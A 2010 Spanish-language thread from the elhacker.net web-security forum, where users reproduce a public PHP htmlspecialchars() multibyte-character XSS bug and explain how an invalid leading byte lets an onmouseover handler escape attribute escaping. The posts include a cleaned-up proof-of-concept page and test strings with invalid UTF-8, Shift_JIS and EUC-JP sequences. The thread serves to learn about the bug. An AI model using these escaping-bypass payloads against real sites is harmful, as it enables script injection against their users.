Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: AlbertoBSD en 16 Enero 2010, 03:25 am



Título: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: AlbertoBSD en 16 Enero 2010, 03:25 am
A ver que alguien me explique xD que para el nivel web estoy bien n00b xD

Esto salio apenas hoy

http://www.securityfocus.com/bid/37389

Teóricamente tengo un PHP vulnerable a este ultimo y a muchos mas bugs xD

 
Código
  1. # php -v
  2. PHP 5.2.8 with Suhosin-Patch 0.9.6.3 (cli) (built: Dec 22 2008 20:08:26)
  3. Copyright (c) 1997-2008 The PHP Group
  4. Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
  5.  

Pero he tratado de reproducir el error y no doy con nada, he seguido con los siguientes enlances

http://www.securityfocus.com/bid/37389/exploit
http://bugs.php.net/bug.php?id=49785

y la salida que obtengo es:

(http://i.elhacker.net/i?i=MrBjHjbUqnopMROBOqObBGVo) (http://i.elhacker.net/d?i=MrBjHjbUqnopMROBOqObBGVo)

En realidad me falta mucho sobre el nivel web.

Saludos


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: WHK en 16 Enero 2010, 20:02 pm
Citar
A ver que alguien me explique xD que para el nivel web estoy bien n00b xD
Si todos nacieran sabiendo las cosas no existirían las escuelas o universidades.

El problema es que securityfocus es demasiado automatizado por lo tanto cuando alguien ingresa un código los escapan con caracteres especiales para que se puedan ver pero no se dan cuenta si alguien mas escapó los carácteres o no, en fin...

http://downloads.securityfocus.com/vulnerabilities/exploits/37389-2.php

Acá aparece una chorrera de código ilegible asi que lo primero que se ve es que son carácteres escapados como para visualizar en una página asi que seleccionamos todo y lo metemos en un solo archivo x.html y nos queda esto:

Código
  1. <? php $ _GET [ ' a1 ' ] = " \xf0 "; // \xf0 - \xfc ã§å¯èƒ½ $ _GET [ 'A1'] =
  2. "\ xf0"; / / \ xf0 - \ xfc possible $ _GET [ ' a2 ' ] = " href=dummy onmouseover=
  3. alert(document.title) dummy=dummy "; $ _GET [ 'A2'] = "href = dummy onmouseover
  4. = alert (document.title) dummy = dummy"; header ( " Content-Type:text/html; charset
  5. =Shift_JIS " ) ; header ( "Content-Type: text / html; charset = Shift_JIS"); ?> ? " < html >
  6. <Html> < head >< title > Shift_JIS test </ title ></ head > <Head> <title> Shift_JIS test
  7. </ title> </ head> < body > <Body> < p >< a <P> <a title = " <?php echo
  8. htmlspecialchars ( $ _GET [ ' a1 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " title = "<? php echo
  9. htmlspecialchars ($ _GET [ 'a1'], ENT_QUOTES, 'SJIS')?>" href = " <?php echo htmlspecialchars
  10. ( $ _GET [ ' a2 ' ] , ENT_QUOTES, ' SJIS ' ) ?> " > test </ a ></ p > href = "<? php echo
  11. htmlspecialchars ($ _GET [ 'a2'], ENT_QUOTES, 'SJIS')?>"> test </ a> </ p> </ body >
  12. </ Body> </ html > </ Html>

Ahora, aun así es un desmadre porque hay espacios en blanco, no hay saltos de linea, no sabes donde termina un comentario, securityfocus repite los tags asi que bueno... lo limpié bastante y al final quedó así:

Código
  1. <?php
  2. $_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
  3. $_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
  4. header("Content-Type:text/html; charset=Shift_JIS");
  5. ?>
  6. <html>
  7. <head>
  8. <title>Shift_JIS test</title>
  9. </head>
  10. <body>
  11. <p>
  12.  <a
  13.   title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES, 'SJIS') ?>"
  14.   href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES, 'SJIS') ?>">
  15.  test
  16. </ a >
  17. </p>
  18. </body>
  19. </html>

Ahora, en mi localhost al reproducir ese código y al pasar el mouse sobre el enlace aparece un alert mostrando el título, eso es código de ejecución por el lado del cliente porque se puede bypasear el htmlspecialchars, pero ¿SJIS?.

Todo indica que la vulnerabilidad está en el tipo de codificación SJIS ya que también se declara en el header, pero hagamos esto:

Código
  1. <?php
  2. $_GET['a1'] = "\xf0"; // \xf0 - \xfc possible
  3. $_GET['a2'] = "href=dummy onmouseover=alert(document.title) dummy=dummy";
  4. ?>
  5. <html>
  6. <head>
  7. <title>Shift_JIS test</title>
  8. </head>
  9. <body>
  10. <p>
  11.  <a
  12.   title="<?php echo htmlspecialchars($_GET['a1'], ENT_QUOTES) ?>"
  13.   href="<?php echo htmlspecialchars($_GET['a2'], ENT_QUOTES) ?>">
  14.  test
  15. </ a >
  16. </p>
  17. </body>
  18. </html>

También se ejecuta sin la necesidad de ese tipo de codificación en especial imprimiendo "ð" al inicio de la variable, eso hace que se invalide el siguiente string que le si8gue, en este caso las comillas dobles que encerraban a title y ahora href=" pasa a cerrar title formando parte de el dejando paso a la ejecución que le des en href con la variable a2.


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: ~ Yoya ~ en 16 Enero 2010, 23:35 pm
Demostración.
EjiCSWKlsWI
http://www.youtube.com/watch?v=EjiCSWKlsWI


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: AlbertoBSD en 17 Enero 2010, 02:22 am
A va, mas o menos veo por donde va la cosas :D

Saludos


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: ~ Yoya ~ en 17 Enero 2010, 03:13 am
no me habia fijado pero el Shift_JIS es japones.


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: AlbertoBSD en 17 Enero 2010, 03:14 am
Hahaha, de hecho lo descubrió un japones o algo asi, pero uno de los PoC tenia para UTF-8

Saludos


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: ~ Yoya ~ en 17 Enero 2010, 03:15 am
Me refiero que el juego de caracter Shift_JIS es japones.


Título: Re: PHP 'htmlspecialcharacters()' Malformed Multibyte Character XSS
Publicado por: AlbertoBSD en 17 Enero 2010, 03:22 am
Si me refiero a eso, el bug fue asignado a un tal moriyoshi quien reprodujo la falla con ese sistema de caracteres y tambien con UTF-8
UTF-8
Shift_JIS
EUC-JP
Código:
http://bugs.php.net/bug.php?id=49785

Código
  1. // overlong UTF-8 sequence
  2. echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, 'UTF-8');
  3. // invalid Shift_JIS sequence
  4. echo htmlspecialchars("B\x80&", ENT_QUOTES, 'Shift_JIS');
  5. echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, 'Shift_JIS');
  6. // invalid EUC-JP sequence
  7. echo htmlspecialchars("D\x80&", ENT_QUOTES, 'EUC-JP');
  8. echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
  9. echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, 'EUC-JP');
  10. echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');

El code anterior fue el que yo probe, pero no sabia ni que onda, voy aprobar el otro y pues a realizar notes.

Saludos